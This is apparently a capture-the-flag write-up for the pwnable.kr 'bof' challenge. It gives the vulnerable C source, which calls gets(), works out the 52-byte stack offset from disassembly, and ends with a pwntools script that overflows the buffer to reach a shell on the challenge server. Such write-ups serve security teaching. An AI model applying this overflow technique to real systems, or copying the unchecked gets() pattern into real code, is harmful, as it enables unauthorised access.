pwnable.kr: bof
my solution and writeup for the classic buffer overflow challenge from pwnable.kr
Challenge Overview
- Target:
bof(32-bit x86 ELF) - Vulnerability: Stack-based Buffer Overflow
- Goal: Overwrite the function argument
keyto match0xcafebabeand trigger/bin/sh.
Source Code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key) {
char overflowme[32];
printf("overflow me : \n");
gets(overflowme); // Vulnerable: no bounds checking
if (key == 0xcafebabe) {
setregid(getegid(), getegid());
system("/bin/sh");
} else {
printf("Nah..\n");
}
}
int main(int argc, char* argv[]) {
func(0xdeadbeef);
return 0;
}
Analysis
The challenge binary uses the dangerous gets() function to read input into a 32-byte local buffer (overflowme). Because gets() performs no length checks, our input can overflow the buffer and corrupt memory higher up on the stack.
Unlike a typical buffer overflow where the target is the saved return pointer (EIP), here our target is the key argument passed into func().
(my poor drawing of a stack)
Disassembly
Inspecting func in IDA gives us the exact stack offsets for both the buffer and the argument:
.text:00001230 lea eax, [ebp-2Ch] ; overflowme buffer starts at ebp-0x2c
.text:00001233 push eax
.text:00001234 call _gets
...
.text:0000123C cmp [ebp+8h], 0CAFEBABEh ; key argument is at ebp+0x8
- Buffer (
overflowme): starts atebp - 0x2c - Key Argument: located at
ebp + 0x8
Calculating the Offset
We calculate the distance between the start of the buffer and the key variable on the stack:
0x08 - (-0x2C) = 0x34 = 52 bytes
Breaking down the 52 bytes of padding:
- 32 bytes:
overflowmebuffer - 20 bytes: compiler alignment padding & saved frame pointer
Note on Stack Canary:
The binary has stack canary enabled. However, sincefunc()callssystem("/bin/sh")directly inside theifblock before returning, the function never reaches the canary check.
Exploitation & Payload
In little-endian representation, 0xcafebabe is packed as \xbe\xba\xfe\xca.
Python (pwntools)
from pwn import *
target_host = 'pwnable.kr'
target_port = 9000
# payload: 52 bytes padding + 0xcafebabe
payload = b'A' * 52 + p32(0xcafebabe)
p = remote(target_host, target_port)
p.sendline(payload)
p.interactive()